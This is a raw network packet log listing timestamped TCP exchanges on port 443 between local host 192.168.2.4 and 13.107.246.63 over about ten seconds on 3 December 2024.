Dec 3, 2024 17:55:41.643047094 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.643085957 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.643161058 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.643345118 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.643354893 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.077363968 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.080068111 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.080169916 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.080212116 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.080212116 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.080234051 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.080244064 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.083019018 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.083065987 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.083161116 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.083307028 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.083323002 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.977155924 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.977763891 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.977797031 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:42.978267908 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:42.978272915 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.102441072 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.102999926 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.103022099 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.103490114 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.103497028 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.164084911 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.164592028 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.164621115 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.165035963 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.165040970 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.429655075 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.430401087 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.430419922 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.430912018 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.430921078 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.436044931 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.438952923 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.439009905 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.439049959 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.439095974 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.444813967 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.444813967 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.444838047 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.444852114 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.455807924 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.455868959 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.455940008 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.456156969 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.456171989 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.549329042 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.552339077 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.556109905 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.556416035 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.556432009 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.556442976 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.556447983 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.559546947 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.559595108 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.559668064 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.559844971 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.559861898 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.615020990 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.617796898 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.617841005 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.617875099 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.617928982 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.618088007 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.618099928 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.623414993 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.623461962 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.623553991 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.623858929 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.623871088 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.863769054 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.864533901 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.864557028 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.865029097 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.865035057 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.882616043 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.882689953 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.882751942 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.882913113 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.882931948 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.882942915 CET	49914	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.882949114 CET	443	49914	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.886950016 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.886991978 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:43.887075901 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.887242079 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:43.887260914 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.310818911 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.310885906 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.310945034 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.311223030 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.311245918 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.311260939 CET	49915	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.311271906 CET	443	49915	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.314538002 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.314590931 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:44.314683914 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.314851046 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:44.314863920 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.243491888 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.244187117 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.244215012 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.244658947 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.244663000 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.281440973 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.282067060 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.282090902 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.282460928 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.282465935 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.406810999 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.407422066 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.407447100 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.407974958 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.407979965 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.629403114 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.629995108 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.630018950 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.630475998 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.630481005 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.690212965 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.692853928 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.692944050 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.692989111 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.693012953 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.693023920 CET	49916	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.693031073 CET	443	49916	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.696748018 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.696794987 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.696890116 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.697081089 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.697108030 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.720345020 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.723390102 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.723440886 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.723455906 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.723515034 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.723572969 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.723615885 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.723645926 CET	49917	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.723661900 CET	443	49917	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.726573944 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.726644039 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.726710081 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.726855040 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.726874113 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.857172966 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.860353947 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.860423088 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.860502005 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.860519886 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.860548973 CET	49918	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.860555887 CET	443	49918	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.863436937 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.863480091 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:45.863552094 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.863703966 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:45.863718987 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.030747890 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.031295061 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.031331062 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.031933069 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.031939030 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.072241068 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.075057030 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.075105906 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.075146914 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.075268984 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.075444937 CET	49919	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.075460911 CET	443	49919	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.078560114 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.078602076 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.078677893 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.078803062 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.078818083 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.473409891 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.476655960 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.476769924 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.476895094 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.476907969 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.476917982 CET	49920	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.476923943 CET	443	49920	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.480130911 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.480185986 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:46.480262995 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.480427980 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:46.480444908 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.495390892 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.496450901 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.496484995 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.497795105 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.497801065 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.593554020 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.594616890 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.594629049 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.595103025 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.595107079 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.597789049 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.598093033 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.598141909 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.598526001 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.598531008 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.875188112 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.875936031 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.875961065 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.877239943 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.877244949 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.943432093 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.948676109 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.948736906 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.948812008 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.948827028 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.948839903 CET	49921	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.948844910 CET	443	49921	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.952049971 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.952080965 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:47.952156067 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.952294111 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:47.952310085 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.031497002 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.034261942 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.034312010 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.034321070 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.034364939 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.034410000 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.034416914 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.034426928 CET	49923	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.034430981 CET	443	49923	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.037353039 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.037385941 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.037456036 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.037590027 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.037604094 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.054598093 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.057275057 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.057327986 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.057372093 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.057394028 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.057404041 CET	49922	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.057410002 CET	443	49922	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.060060024 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.060097933 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.060174942 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.060314894 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.060328960 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.205550909 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.206434965 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.206446886 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.207066059 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.207070112 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.327873945 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.331141949 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.331265926 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.331432104 CET	49924	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.331453085 CET	443	49924	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.334675074 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.334713936 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.334779978 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.334919930 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.334935904 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.681168079 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.684017897 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.684072971 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.684087992 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.684127092 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.684187889 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.684206009 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.684216022 CET	49925	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.684221983 CET	443	49925	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.687345028 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.687382936 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:48.687447071 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.687614918 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:48.687629938 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.783114910 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.784081936 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:49.784097910 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.785463095 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:49.785468102 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.887943983 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.888830900 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:49.888856888 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:49.890129089 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:49.890134096 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.057698011 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.058240891 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.058270931 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.058856010 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.058861017 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.243681908 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.243762016 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.243850946 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.244129896 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.244148970 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.244163990 CET	49928	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.244169950 CET	443	49928	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.249025106 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.249074936 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.249166012 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.249340057 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.249351025 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.350533962 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.354476929 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.354645014 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.354759932 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.354780912 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.354796886 CET	49927	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.354801893 CET	443	49927	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.357923985 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.357969046 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.358035088 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.358174086 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.358190060 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.411938906 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.412653923 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.412668943 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.414021969 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.414028883 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.513125896 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.513197899 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.513273001 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.513494015 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.513514996 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.513526917 CET	49929	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.513531923 CET	443	49929	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.517047882 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.517085075 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.517178059 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.517348051 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.517362118 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.851679087 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.854110956 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.854167938 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.854234934 CET	49930	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.854263067 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.854273081 CET	49930	443	192.168.2.4	13.107.246.63
